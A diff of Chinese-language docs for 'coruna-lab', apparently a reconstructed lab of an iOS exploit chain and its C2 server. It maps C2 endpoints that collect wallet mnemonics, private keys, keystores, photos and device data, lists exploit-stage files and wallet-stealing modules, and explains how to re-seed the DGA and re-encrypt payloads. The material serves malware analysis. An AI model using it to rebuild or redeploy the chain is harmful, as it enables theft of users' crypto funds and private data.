| POST | `/api/user/check` | 相册命中图 7z 归档 | 修头解包 → photos |
|
||||
| POST | `/api/user/avatar/pic` | Notes 批次(HAR 未见样本) | notes / raw log |
|
||||
| POST | `/api/user/profile/{add,delete,remove}` | imagent 侧 profile 变更 | 仅日志 + ack |
|
||||
| POST | `/link/config/list` | WebClip/链接配置轮询 | ack `data: []` |
|
||||
| POST | `/link/config/icon` | WebClip 图标 | ack `data: null` |
|
||||
|
||||
**不做**:`/kill`、助记词/私钥自动划转。
|
||||
|
||||
---
|
||||
|
||||
## 3. 分接口说明
|
||||
|
||||
### 3.1 `GET /api/user/query`
|
||||
|
||||
**用途**:reporting 是否存活;DGA 用成功响应选定当前 C2。
|
||||
|
||||
**请求**:无 body;可无特殊头。
|
||||
|
||||
**响应(Lab / 战役一致观察)**:
|
||||
|
||||
```text
|
||||
OK
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 3.2 `POST /api/user/avatar/set`
|
||||
|
||||
**用途**:植入后上报设备画像(机型、系统、区域、运营商、宿主 App 等)。
|
||||
|
||||
**请求明文(红acted 形状)**:
|
||||
|
||||
```jsonc
|
||||
{
|
||||
"c": "<32hex>",
|
||||
"d": "<16hex>",
|
||||
"f": "<16hex>",
|
||||
"application": {
|
||||
"applicationIdentifier": "<bundle>",
|
||||
"bundleIdentifier": "<bundle>"
|
||||
},
|
||||
"deviceInfo": {
|
||||
"productName": "iPhone OS",
|
||||
"productType": "iPhone9,1",
|
||||
"productVersion": "15.8.4",
|
||||
"hardwareModel": "...",
|
||||
"buildVersion": "..."
|
||||
},
|
||||
"deviceModel": "iPhone9,1",
|
||||
"deviceName": "<name>",
|
||||
"systemVersion": "15.8.4",
|
||||
"machine": "...",
|
||||
"kernVersion": "...",
|
||||
"bootHash": "...",
|
||||
"boottime": 0,
|
||||
"carrierNames": [],
|
||||
"language": "...",
|
||||
"regionCode": "...",
|
||||
"timezone": "...",
|
||||
"totalGB": 0,
|
||||
"jbsdk_version": "...",
|
||||
"lhu": "<uuid>",
|
||||
"s": "...",
|
||||
"sbu": "...",
|
||||
"u": "..."
|
||||
}
|
||||
```
|
||||
|
||||
**响应**:加密 ack(见 §1.1)。
|
||||
|
||||
---
|
||||
|
||||
### 3.3 `POST /api/user/get`
|
||||
|
||||
**用途**:初始状态/注册拉取;HAR 中携带已装应用简表 `al`。
|
||||
|
||||
**请求明文要点**:
|
||||
|
||||
```jsonc
|
||||
{
|
||||
"c": "<32hex>",
|
||||
"d": "<16hex>",
|
||||
"f": "<16hex>",
|
||||
"al": [
|
||||
{ "a": "<app name>", "b": "<bundle id>", "v": "<version>" }
|
||||
],
|
||||
"b": "...",
|
||||
"i": "...",
|
||||
"lhu": "<uuid>",
|
||||
"m": "...",
|
||||
"p": "...",
|
||||
"s": "...",
|
||||
"sbu": "...",
|
||||
"u": "...",
|
||||
"v": "..."
|
||||
}
|
||||
```
|
||||
|
||||
| 字段 | 含义 |
|
||||
|------|------|
|
||||
| `al[].a` | App 显示名 |
|
||||
| `al[].b` | bundle id |
|
||||
| `al[].v` | App 版本 |
|
||||
|
||||
**响应**:加密 `{"code":0,"msg":"ok","data":null}`(Lab)。战役侧可能带配置 `data`;未完全还原时以可解密成功 ack 为准。
|
||||
|
||||
---
|
||||
|
||||
### 3.4 `POST /api/user/avatar/put`
|
||||
|
||||
**用途**:通用遥测/事件总线。同路径多种 `ctx`:
|
||||
|
||||
| ctx 形态 | 含义 |
|
||||
|----------|------|
|
||||
| `url, sha256, size, downloadTimeMs, isFirstLoad` | 模块/资源下载 |
|
||||
| `totalModules, abnormalModules, overallStatus, checkTimeMs` | 模块健康检查 |
|
||||
| `bundleId, targetPid, injectionTimeMs` | 进程注入结果 |
|
||||
| 空 `ctx` | 其它短事件(配合 `desc` / `et` / `ex`) |
|
||||
|
||||
**公共字段示例**:
|
||||
|
||||
```jsonc
|
||||
{
|
||||
"c": "<32hex>",
|
||||
"d": "<16hex>",
|
||||
"f": "<16hex>",
|
||||
"id": "<uuid>",
|
||||
"lhu": "<uuid>",
|
||||
"pn": "iPhone OS",
|
||||
"m": "iPhone9,1",
|
||||
"pv": "15.8.4",
|
||||
"desc": "<event description>",
|
||||
"et": "<event type text>",
|
||||
"ex": 0,
|
||||
"exp": "",
|
||||
"ctx": { /* 见上表 */ },
|
||||
"s": "...",
|
||||
"..."
|
||||
}
|
||||
```
|
||||
|
||||
WhatsApp 等插件也会复用此路径上报消息相关事件(静态/流量均有指认)。
|
||||
|
||||
**响应**:加密 ack。
|
||||
|
||||
---
|
||||
|
||||
### 3.5 `POST /api/user/avatar/status`
|
||||
|
||||
**用途**:上传仍加密的钱包/keystore/identity JSON(如 imToken `walletsV2` 解密前结构)。
|
||||
|
||||
**请求明文要点**:
|
||||
|
||||
```jsonc
|
||||
{
|
||||
"a": "<短标签>",
|
||||
"c": "<32hex>",
|
||||
"d": "<16hex>",
|
||||
"d1": "<40hex>",
|
||||
"d2": "<短串>",
|
||||
"d3": "<40hex>",
|
||||
"v": "<module version>",
|
||||
"result": {
|
||||
"crypto": {
|
||||
"cipher": "aes-128-ctr",
|
||||
"cipherparams": { "iv": "<hex>" },
|
||||
"ciphertext": "<hex>",
|
||||
"kdf": "pbkdf2",
|
||||
"kdfparams": { "c": 0, "dklen": 0, "prf": "...", "salt": "<hex>" },
|
||||
"mac": "<hex>"
|
||||
},
|
||||
"identity": { /* encAuthKey, encKey, ... */ },
|
||||
"encOriginal": "...",
|
||||
"imTokenMeta": { /* ... */ }
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**响应**:加密 ack。
|
||||
Lab:尝试从 `result`/地址类字段入库;完整 keystore 保留在日志/原始 JSON。
|
||||
|
||||
---
|
||||
|
||||
### 3.6 `POST /api/user/status`
|
||||
|
||||
**用途**:地址 → 链上资产/余额映射。
|
||||
|
||||
**请求明文要点**:
|
||||
|
||||
```jsonc
|
||||
{
|
||||
"a": "<短标签>",
|
||||
"c": "<32hex>",
|
||||
"d": "<16hex>",
|
||||
"d1": "<40hex>",
|
||||
"d2": "...",
|
||||
"d3": "<40hex>",
|
||||
"v": "...",
|
||||
"ba": {
|
||||
"<walletAddress>": [
|
||||
{
|
||||
"balance": "<string>",
|
||||
"chainId": "<string>",
|
||||
"chainType": "<string>",
|
||||
"decimal": "<string>",
|
||||
"name": "<token name>",
|
||||
"symbol": "<symbol>"
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
`ba` 的 key 为地址;value 为该地址下资产数组。
|
||||
|
||||
**响应**:加密 ack。Lab 写入 `wallet_addresses`(并可能 Telegram 通知新地址/余额变化)。
|
||||
|
||||
---
|
||||
|
||||
### 3.7 `POST /api/user/set`
|
||||
|
||||
**用途**:上报**明文**助记词或私钥(HAR 已证实 12 词助记词在 `result`)。
|
||||
|
||||
**请求明文要点**:
|
||||
|
||||
```jsonc
|
||||
{
|
||||
"a": "<短标签>",
|
||||
"c": "<32hex>",
|
||||
"d": "<16hex>",
|
||||
"d1": "<40hex>",
|
||||
"d2": "...",
|
||||
"d3": "<40hex>",
|
||||
"v": "...",
|
||||
"result": "<12/15/18/21/24 words mnemonic OR private key string>"
|
||||
}
|
||||
```
|
||||
|
||||
**响应**:加密 ack。Lab:`wallets.mnemonic_enc` / `privkey_enc`(Laravel crypt),后台仅打码展示。
|
||||
|
||||
---
|
||||
|
||||
### 3.8 `POST /api/user/check`
|
||||
|
||||
**用途**:相册 OCR/敏感命中后的图片归档上传(非 AES JSON)。
|
||||
|
||||
**Content-Type**:`multipart/form-data`
|
||||
|
||||
| Part | 观察 |
|
||||
|------|------|
|
||||
| `file` | Coruna 头混淆 7z;解压后为 JPEG 等 |
|
||||
| `sig` | ~352–472 字节不透明数据,用途未证实 |
|
||||
| `idx` | 解码后含 `process_index`, `upload_count` |
|
||||
| `ftu` | 解码后含 `sensitive_text_count`, `barcode_count` |
|
||||
| `x-hit` | 检测分数类短字段 |
|
||||
| `rid` | ~36 字符请求/资源 id |
|
||||
| `c`,`d`,`f`,`s`,`u`,`b`,`m`,`ts` | 设备/会话侧短字段(与 JSON 接口同族) |
|
||||
|
||||
7z 口令:`session_key || batchBase`;首批 `LastProcessedTimestamp` 为 `0` 时 batchBase=`"0"`。
|
||||
|
||||
**响应**:加密 ack(Lab)。战役侧亦为加密成功体,具体 JSON 未作为契约固定。
|
||||
|
||||
---
|
||||
|
||||
### 3.9 `POST /api/user/avatar/pic`
|
||||
|
||||
**用途**:静态绑定 Notes reader 批次上报。
|
||||
**HAR**:未见真实 Notes 正文/DB 样本。
|
||||
|
||||
**请求**:预期为加密 JSON(字段未从流量钉死);可能含笔记列表或元数据。
|
||||
|
||||
**响应**:加密 ack。Lab:有结构则写 `notes`,否则只写 `public/log/c2/`。
|
||||
|
||||
---
|
||||
|
||||
### 3.10 `POST /api/user/profile/add|delete|remove`
|
||||
|
||||
**用途**:`imagent` 消息/profile 状态变更(静态接口表)。HAR 本批无样本。
|
||||
|
||||
**请求**:加密 JSON(形状未钉死)。
|
||||
**响应**:加密 ack;Lab 仅日志。
|
||||
|
||||
---
|
||||
|
||||
### 3.11 `POST /link/config/list`
|
||||
|
||||
**用途**:WebClip / 链接配置轮询。
|
||||
|
||||
**请求明文(HAR)**:
|
||||
|
||||
```jsonc
|
||||
{
|
||||
"c": "<32hex>",
|
||||
"channel": "<32hex>",
|
||||
"d": "",
|
||||
"f": "",
|
||||
"s": "",
|
||||
"u": ""
|
||||
}
|
||||
```
|
||||
|
||||
**响应**:
|
||||
|
||||
- Lab:加密 `{"code":0,"msg":"ok","data":[]}`
|
||||
- 战役:可能返回链接列表;未完整还原时客户端以可解密为准
|
||||
|
||||
---
|
||||
|
||||
### 3.12 `POST /link/config/icon`
|
||||
|
||||
**用途**:拉取 WebClip 图标。
|
||||
**HAR**:本批无独立解密样本。
|
||||
|
||||
**请求**:加密 JSON(预期含图标/链接标识)。
|
||||
**响应(Lab)**:加密 `{"code":0,"msg":"ok","data":null}`。
|
||||
|
||||
---
|
||||
|
||||
## 4. Lab 响应统一格式
|
||||
|
||||
除 `query` 外,控制器经 `CorunaCrypto::encryptJson` 返回:
|
||||
|
||||
**HTTP**
|
||||
|
||||
- Status:`200`
|
||||
- Header:`timestamp: <13-digit>`
|
||||
- Body:Base64 AES 密文
|
||||
|
||||
**明文(Lab)**
|
||||
|
||||
```json
|
||||
{
|
||||
"code": 0,
|
||||
"msg": "ok",
|
||||
"data": null
|
||||
}
|
||||
```
|
||||
|
||||
`/link/config/list` 的 `data` 为 `[]`。
|
||||
|
||||
原始请求/响应落盘:`public/log/c2/Ymd.log`(`create_log`,不写 DB)。
|
||||
|
||||
- `dir: "in"`:请求明文(解密后 `payload`)
|
||||
- `dir: "out"`:响应明文(有 `timestamp` 头则 AES 解密;`query` 等明文直接记)
|
||||
|
||||
---
|
||||
|
||||
## 5. 调用顺序(HAR 观察)
|
||||
|
||||
典型顺序(同一 reporting 域名):
|
||||
|
||||
```text
|
||||
query → avatar/put(telemetry) → query → avatar/set → get
|
||||
→ avatar/put* → check* → … → avatar/status → status → set
|
||||
→ link/config/list …
|
||||
```
|
||||
|
||||
相册命中(`check`)可早于或并行于钱包本地解密上报(`avatar/status` → `status` → `set`)。
|
||||
|
||||
---
|
||||
|
||||
## 6. 参考
|
||||
|
||||
| 文档/证据 | 内容 |
|
||||
|-----------|------|
|
||||
| `CORUNA_COMPLETE_DATAFLOW_REPORT.md` §7.2 | 接口职责总表 |
|
||||
| `CORUNA_DOMAIN_DGA_REPORT.md` | `query` 与 DGA 选服 |
|
||||
| `c2_decrypted_redacted.json` | 各路径请求字段形状 |
|
||||
| `app/Services/CorunaCrypto.php` | 加解密实现 |
|
||||
| `app/Http/Controllers/C2/C2Controller.php` | Lab 处理与回包 |
|
||||
@@ -0,0 +1,112 @@
|
||||
# 一级包与二级包
|
||||
|
||||
## 路径
|
||||
|
||||
**线上:同一相对目录。** Stage JS、一级包、二级包都从 campaign base 用文件名下载:
|
||||
|
||||
```text
|
||||
{base}/70049138….js # Stage
|
||||
{base}/6539c1e0….js # 一级包(wire 后缀 .js)
|
||||
{base}/65704c07….min.js # 二级 type-0x01 包(wire 后缀 .min.js)
|
||||
```
|
||||
|
||||
`base` = `/web/34f5121f572d6742703eb84ec2f866a6/`(lab 已摊平到同路径)。
|
||||
|
||||
### Wire 后缀(实测)
|
||||
|
||||
| 类型 | 客户端实际请求 | 说明 |
|
||||
|------|----------------|------|
|
||||
| Stage JS | `<40hex>.js` | 无 `.min.js` |
|
||||
| **一级原生包** | **`<40hex>.js`** | 按机型/版本选 flags;**不是** `.min.js` |
|
||||
| **二级 type-0x01** | **`<40hex>.min.js`** | type 0x07 元数据里的文件名带 `.min.js` |
|
||||
|
||||
Campaign / lab 目录里同一 stem 常同时存在 `.js` 与 `.min.js`,且**内容不同**(`.js` 通常更大)。链路只拉上表对应后缀;另一份是同 stem 的另一产物,不要当成重复别名删掉。
|
||||
|
||||
**`coruna-online` 落盘为分析拆目录,不是三条不同 URL:**
|
||||
|
||||
| 类型 | 线上相对路径(wire) | `coruna-online` 落盘 |
|
||||
|------|----------------------|----------------------|
|
||||
| Stage JS / 入口 | `{base}/<name>` | 仓库根目录(见 [`STAGE_JS.md`](./STAGE_JS.md)) |
|
||||
| 一级原生包 | `{base}/<40hex>.js` | 历史多落在 `payloads/<40hex>.min.js`;**以线上 `.js` 为准**同步到 lab |
|
||||
| 二级 type-0x01 | `{base}/<40hex>.min.js` | `c2_fetch/<40hex>.min.js`(部分副本带 `xxxxxxxx_` 前缀,lab 已归一) |
|
||||
|
||||
## 联系
|
||||
|
||||
```text
|
||||
Stage3
|
||||
→ 下载「一级包」.js(按机型/版本选 flags)
|
||||
→ 解密 → F00DBEEF:0x08 / 0x09 / 0x0f / (0x0a) + **type 0x07 元数据**
|
||||
→ type 0x07 给出二级文件名 + ChaCha key
|
||||
→ 再下载「二级包」.min.js
|
||||
→ 解密 → F00DBEEF type **0x01**(SpringBoard 管理器,含 Deployment DGA)
|
||||
→ DGA → /sync/daily.html → sync/ 下 26 个模块
|
||||
```
|
||||
|
||||
| 层级 | 线上看起来 | 解开后 | 作用 |
|
||||
|------|------------|--------|------|
|
||||
| **一级包** | ChaCha 加密 **`.js`** | F00DBEEF:利用/implant(0x08 powerd、0x09、0x0f 等)+ **0x07 指针** | 提权与落地;**0x07 点名二级包** |
|
||||
| **二级包** | 另一 key 的 **`.min.js`**(key 在 0x07) | F00DBEEF:**仅 type 0x01** dylib | DGA、拉 `daily.html`、下模块、注入 |
|
||||
|
||||
一级 ≠ type-0x01;靠一级内的 **0x07** 才接到二级。一级失败则不会拉对应二级包。
|
||||
|
||||
---
|
||||
|
||||
## 一级包一览(`payloads/` → lab `web/…/`)
|
||||
|
||||
清单文件名按 **wire(`.js`)** 书写。lab 中同 stem 的 `.min.js` 为另一份线上产物,体积更小,链路默认不请求。
|
||||
|
||||
| lab / 线上文件名(wire) | flags | 内含类型 | `coruna-online` 来源(历史落盘名) |
|
||||
|---|---|---|---|
|
||||
| `054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.js` | `0xf230` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/054bcb73….min.js` |
|
||||
| `e406714e92671b5218496fcb6666734411cb2320.js` | `0xf330` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/e406714e….min.js` |
|
||||
| `694c829e379e12085de6158b85f32509f54f4796.js` | `0xf240` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/694c829e….min.js` |
|
||||
| `3b0133801a3f844e7ebafa0363f2423a50005b72.js` | `0xf340` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/3b013380….min.js` |
|
||||
| `6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.js` | `0xf270` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/6f8a7a3b….min.js` |
|
||||
| `eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.js` | `0xf370` | 0x08, 0x09, 0x0f, 0x07, 0x05, 0x09, 0x07 | `payloads/eb3e81b5….min.js` |
|
||||
| `6bbb364c8a423374d42a2cbc45c0dee84e7dc710.js` | `0xf280` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/6bbb364c….min.js` |
|
||||
| `99010a27e08b3312650c8d9f321958433e577a30.js` | `0xf380` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/99010a27….min.js` |
|
||||
| `6539c1e0dc731ea7c7011af236cc7c2871af7c40.js` | `0xf290` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/6539c1e0….min.js` |
|
||||
| `c9118a62558ed444a64c2dfe350c6c57fa277a3a.js` | `0xf390` | 0x08, 0x09, 0x0f, 0x07, 0x05, 0x09, 0x07 | `payloads/c9118a62….min.js` |
|
||||
| `076de672aebfc78137aa863e51ff3d8980dcdd10.js` | `0xf373` | 0x08, 0x09, 0x0f, 0x07, 0x0a, 0x07 | `payloads/076de672….min.js` |
|
||||
| `62415a3d105a8c40c41b19cf456e8474fe441359.js` | `0xf383` | 0x08, 0x09, 0x0f, 0x07, 0x0a, 0x07 | `payloads/62415a3d….min.js` |
|
||||
| `a5847c3e2e439e2f7c4b1582932cf81a06100981.js` | `0xf275` | 0x08, 0x09, 0x0f, 0x07, 0x0a, 0x07 | `payloads/a5847c3e….min.js` |
|
||||
| `f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.js` | `0xf375` | 0x08, 0x09, 0x0f, 0x07, 0x0a, 0x07 | `payloads/f7994d47….min.js` |
|
||||
| `a13a74c0123f5a0c4acaf0586f035f8735bac0c8.js` | `0xa205` | 0x08, 0x0a | `payloads/a13a74c0….min.js` |
|
||||
| `f10b572f33adf343a7398487c3f4cc71088b56ab.js` | `0xa305` | 0x08, 0x0a | `payloads/f10b572f….min.js` |
|
||||
| `906a996fa11bcaa5347c6453e328f538d17d5dbf.js` | `0xa306` | 0x08, 0x0a | `payloads/906a996f….min.js` |
|
||||
| `4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.js` | `0xa303` | 0x08, 0x0a, 0x0a | `payloads/4614dd1c….min.js` |
|
||||
| `d1a39a282f3dc9d0e261c3df466093ee0f8d441d.js` | `0xa304` | 0x08, 0x0a, 0x0a | `payloads/d1a39a28….min.js` |
|
||||
|
||||
解出的中间 dylib:`coruna-online/payloads/*_type0xNN.dylib`(lab 未复制)。
|
||||
|
||||
---
|
||||
|
||||
## 二级包一览(`c2_fetch/` → lab `web/…/`)
|
||||
|
||||
均为 type **0x01** SpringBoard helper(含 DGA)。Wire 文件名为 **`.min.js`**。
|
||||
|
||||
**为何 10 个二级包、实质只有 2 份 dylib:**
|
||||
|
||||
| dylib SHA-256(前 16) | 体积 | stem 数 | 成员 |
|
||||
|---|---:|---:|---|
|
||||
| `8bef11cb6cdf18f9…` | 347472 | 5 | `039c68f0` / `34736715` / `65704c07` / `6bac8b93` / `743312ca` |
|
||||
| `124f9b07b58c90c3…` | 362056 | 5 | `1d0df5a0` / `242a0afb` / `630c2b42` / `7cb20652` / `7f208248` |
|
||||
|
||||
差异在**投递包装**,不是两套 DGA:各一级包的 type **0x07** 点名不同 `<stem>.min.js` 并带不同 ChaCha key;两条构建内 Deployment/Reporting **seed 相同**。改 seed:改 2 个唯一 dylib → 用各自 type07 key 重加密要用到的二级 `.min.js`(要覆盖全部一级变体则 10 个都重打)。
|
||||
|
||||
| lab / 线上文件名 | `coruna-online` 来源 | 说明 |
|
||||
|---|---|---|
|
||||
| `039c68f0ca742a85e94516818385a9eca2e204d8.min.js` | `c2_fetch/039c68f0….min.js` | 二级 type-0x01 |
|
||||
| `1d0df5a0a12a20aa8b0c8aeb660742268f311d19.min.js` | `c2_fetch/1d0df5a0….min.js` | 二级 type-0x01 |
|
||||
| `242a0afb1d88b83e9a1a5b570fed6778def892fc.min.js` | `c2_fetch/242a0afb….min.js` | 二级 type-0x01 |
|
||||
| `347367155da44f3efcc9053337913061079610b9.min.js` | `c2_fetch/34736715….min.js` | 二级 type-0x01 |
|
||||
| `630c2b42300333d91588353d43afab9ec8325e09.min.js` | `c2_fetch/630c2b42….min.js` | 二级 type-0x01 |
|
||||
| `65704c0722165a7bdedad3f3f61258b2f95470f6.min.js` | `c2_fetch/65704c07….min.js` | HAR 中出现过的二级包之一 |
|
||||
| `6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js` | `c2_fetch/6bac8b93….min.js` | 二级 type-0x01 |
|
||||
| `743312cafb58176af57b89098d94dca1c60f8d1e.min.js` | `c2_fetch/743312ca….min.js` | 二级 type-0x01 |
|
||||
| `7cb20652ef7156e931f894dd3d99f24601b80368.min.js` | `c2_fetch/7cb20652….min.js` | 二级 type-0x01 |
|
||||
| `7f208248c748f97956fe4a7cf246c91235852e67.min.js` | `c2_fetch/7f208248….min.js` | 二级 type-0x01 |
|
||||
|
||||
解出的 dylib:`coruna-online/c2_fetch/<stem>_type0x01.dylib`(lab 未复制)。
|
||||
|
||||
业务模块见 [`SYNC.md`](./SYNC.md)。
|
||||
@@ -0,0 +1,8 @@
|
||||
# coruna-lab 文档
|
||||
|
||||
| 文件 | 内容 |
|
||||
|------|------|
|
||||
| [`STAGE_JS.md`](STAGE_JS.md) | 入口 HTML、Stage1/2/3、beacon;对标 `coruna/` 可读名 |
|
||||
| [`NATIVE_PACKS.md`](NATIVE_PACKS.md) | 一级包 / 二级 type-0x01:路径、联系、清单 |
|
||||
| [`SYNC.md`](SYNC.md) | `/sync/daily.html` 与 26 个业务模块职责 |
|
||||
| [`../tools/README.md`](../tools/README.md) | seed 替换、重建二级包/core、DGA 域名计算 |
|
||||
@@ -0,0 +1,45 @@
|
||||
# Stage JS 与入口
|
||||
|
||||
线上与 lab 均位于 campaign base:
|
||||
|
||||
```text
|
||||
web/34f5121f572d6742703eb84ec2f866a6/
|
||||
```
|
||||
|
||||
`coruna-online` 中哈希文件名在仓库根目录;下表「对标 `coruna/`」为同系列可读文件名(逻辑对应,**字节未必一致**:本批 dhxuhdbej888 与 `coruna/` 工具包是同源链的不同落盘/混淆版本)。
|
||||
|
||||
## 阶段职责
|
||||
|
||||
| 阶段 | 作用 |
|
||||
|------|------|
|
||||
| 入口 | `support.html` 选分支、设 module base、拉 Stage |
|
||||
| Stage1 | WebKit/WASM 内存破坏与读写原语 |
|
||||
| Stage2 | PAC / JIT cage |
|
||||
| Stage3 | 原生 loader,再拉一级 `.js` 包(二级为 `.min.js`,见 [`NATIVE_PACKS.md`](./NATIVE_PACKS.md)) |
|
||||
| helper | offsets wrapper、加密 manifest / beacon |
|
||||
|
||||
命名:`sha256(salt + id)[:40].js`,salt = `9eb2b99484c8f631`。
|
||||
|
||||
## 文件对照
|
||||
|
||||
| lab 文件 (`web/34f5121f…/`) | 阶段 | 对标 `coruna/` |
|
||||
|---|---|---|
|
||||
| `support.html` | 入口 HTML | `index.html` / `group.html`(入口角色对应;非同字节) |
|
||||
| `98f0c8fb182309faa687aa849e92d0ac5f93af7d.js` | Stage1 | `Stage1_15.2_15.5_jacurutu.js` |
|
||||
| `700491384cc59bd25c3aa4dd670c8660963bffe3.js` | Stage1 | `Stage1_15.6_16.1.2_bluebird.js` |
|
||||
| `3c04ae31f9ba8f809b275be4b3fa93deb558902c.js` | Stage1 | `Stage1_16.2_16.5.1_terrorbird.js` |
|
||||
| `1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf.js` | Stage1 | `Stage1_16.6_17.2.1_cassowary.js` |
|
||||
| `40a27e7916aa554e6d38d39beb6bb7ee095692ed.js` | Stage1 fallback | `other/Stage1_13.0_15.1.1_buffout.js` |
|
||||
| `9075c25766e57019db4c86fac179b03ebf1b56e5.js` | Stage2 | `Stage2_13.0_14.x_breezy.js` |
|
||||
| `b099ff22b5c8e65654744fd307d81ad208009103.js` | Stage2 | `Stage2_15.0_16.2_breezy15.js` |
|
||||
| `651774047bf8d72258a5f04785c9dabf5e793670.js` | Stage2 pre/PAC | `Stage2_16.6_17.2.1_seedbell_pre.js` |
|
||||
| `291b914c574e1196039313595217367c44cca436.js` | Stage2 | `Stage2_16.6_16.7.12_seedbell.js` |
|
||||
| `0f2be2a4e0ab7e60b6ce550692996d079a5769a0.js` | Stage2 | `Stage2_17.0_17.2.1_seedbell.js`(特征偏 seedbell;对应置信低于上列) |
|
||||
| `0c297489d8c9d5470bfce17b0d99da3338b44a18.js` | Stage3 VariantA | `Stage3_VariantA.js` |
|
||||
| `9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f.js` | Stage3 VariantB | `Stage3_VariantB.js` |
|
||||
| `ad970e88980634bcb2eda0c998a27881686dd29e.js` | offsets / qbrdr wrapper | (`coruna/` 无同名 Stage 文件) |
|
||||
| `ad970e88980634bcb2eda0c998a27881686dd29e.min.js` | 加密 manifest / exploit beacon | (`coruna/` 无同名 Stage 文件) |
|
||||
|
||||
本批 dump 中未见与 `Stage2_16.3_16.5.1_seedbell.js` 明确对上的哈希文件。
|
||||
|
||||
下一步见 [`NATIVE_PACKS.md`](NATIVE_PACKS.md)(一级 / 二级包)。
|
||||
+59
@@ -0,0 +1,59 @@
|
||||
# sync/ — Deployment 配置与业务模块
|
||||
|
||||
对应 lab 目录:`coruna-lab/sync/`(线上 Deployment host 的 `/sync/*`,HAR 中为 `www.zm7f7s0m9jf8wtrbd.info`)。
|
||||
内容来自 `coruna-online` 抓包/离线恢复;职责摘自
|
||||
[`CORUNA_COMPLETE_DATAFLOW_REPORT.md`](../../coruna-online/docs/CORUNA_COMPLETE_DATAFLOW_REPORT.md)
|
||||
与 [`PAYLOAD_INVENTORY.md`](../../coruna-online/evidence/cases/2026-08-02-coruna-all-26/PAYLOAD_INVENTORY.md)。
|
||||
|
||||
扩展名 `.js/.css/.html/.ts` 只是 HTTP 伪装;`daily.html` 与各模块响应均为 **Coruna 混淆头 + 密码 7z**,解包后为 Mach-O dylib(或配置 JSON)。
|
||||
|
||||
拉取顺序:type-0x01 经 Deployment DGA 选中主机 → `GET /sync/daily.html` → 按配置再拉下列模块(本机按需,不一定 26 个全下)。
|
||||
|
||||
---
|
||||
|
||||
## 配置
|
||||
|
||||
| 文件 | 作用 | `coruna-online` 来源 |
|
||||
|---|---|---|
|
||||
| `daily.html` | 加密 netconfig:给出 26 项 URL(含 `[HOST_PLACEHOLDER]`)、size、sha256;客户端用当前 Deployment host rebase | `evidence/cases/2026-08-02-coruna-har/responses/har-36_6b5f8ad2….body` |
|
||||
|
||||
明文配置副本(未放本目录):
|
||||
`coruna-online/evidence/cases/2026-08-02-coruna-all-26/configs/bae5299f….json`
|
||||
|
||||
---
|
||||
|
||||
## 26 个模块
|
||||
|
||||
| # | `/sync/` 文件 | 解包名 | 目标 | 作用 |
|
||||
|---:|---|---|---|---|
|
||||
| 1 | `erupt_flee.js` | `tmp.dylib` | **core** | 配置/DGA、下载校验、模块存储、选择性注入、热更新、心跳;扫描 Photos 与 Apple Notes |
|
||||
| 2 | `swap-ritual.ts` | `webclip.dylib` | SpringBoard | `/link/config/list`、`/link/config/icon`,创建/更新 WebClip 与图标 |
|
||||
| 3 | `short_thing.js` | `whatsapp_notnotify.dylib` | SpringBoard | WhatsApp 登录/账户类通知抑制辅助 |
|
||||
| 4 | `aware_retreat.css` | `MarqueeLabel.dylib` | BitKeep `com.bitkeep.os` | 读 bitkeep.db / Flutter auth;提取助记词、私钥、地址与资产 |
|
||||
| 5 | `wash_indicate.js` | `ReachabilitySwift.dylib` | Bitpie | 观察 BIP39 生成;读 `bcoins.sqlite`;上报助记词/地址/余额 |
|
||||
| 6 | `entry-praise.htm` | `BranchDeepLinker.dylib` | Coin98 | 读 RN/MMKV `walletCacheRedux`;解析 chain/address/mnemonic/privateKey/balance |
|
||||
| 7 | `card_alcohol.htm` | `IQKeyboardRetainer.dylib` | Coinbase Wallet | Hook 存助记词;读 SQLite `main.wallet` |
|
||||
| 8 | `curious-tuna.ts` | `LottieAnimation.dylib` | Exodus | 读 RN AsyncStorage / bridge;解析 wallet/mnemonic/资产 |
|
||||
| 9 | `valve-okay.htm` | `MasonryConstraint.dylib` | imToken | Hook 密码输入;解密 `walletsV2`;上报钱包/助记词(HAR 已证实) |
|
||||
| 10 | `squirrel-chuckle.css` | `AmplitudeSession.dylib` | Krystal | 读 wallets / Keychain;资产 JSON |
|
||||
| 11 | `range_hockey.ts` | `CocoaLumberjack.dylib` | MetaMask | Hook 密码;读 persistStore;AES 解 `data.mnemonic` |
|
||||
| 12 | `exact_unveil.html` | `SAMKeychainStore.dylib` | MyTonWallet | WKWebView 截获 passcode;解 `mnemonicEncrypted` |
|
||||
| 13 | `cradle-barely.html` | `RealmDatabase.dylib` | Phantom | 读 MMKV;观察 `mnemonicFromEntropy:`;账户/余额 |
|
||||
| 14 | `enough_lend.ts` | `MixpanelAnalytics.dylib` | Ronin | 观察 wallet/portfolio;上报地址/余额 |
|
||||
| 15 | `page_human.css` | `AdjustEventTracker.dylib` | Solflare | 读 Flutter vault;passcode / seedPhrase / accounts |
|
||||
| 16 | `mouse_announce.js` | `ChameleonFramework.dylib` | Global Wallet | Hook JSON;捕获 mnemonic/privateKey 等(HAR 已证实私钥) |
|
||||
| 17 | `canal_sugar.htm` | `SwiftyJSONParser.dylib` | Tonhub | 解密 secret/mnemonic;取地址/余额 |
|
||||
| 18 | `left-case.css` | `PINRemoteImage.dylib` | Tonkeeper | 读 `mnemonics_vault_` 等;解助记词 |
|
||||
| 19 | `diagram-ship.css` | `YYImageDecoder.dylib` | TronLink | Hook 密码;读 keystore/SQLite;解地址/余额 |
|
||||
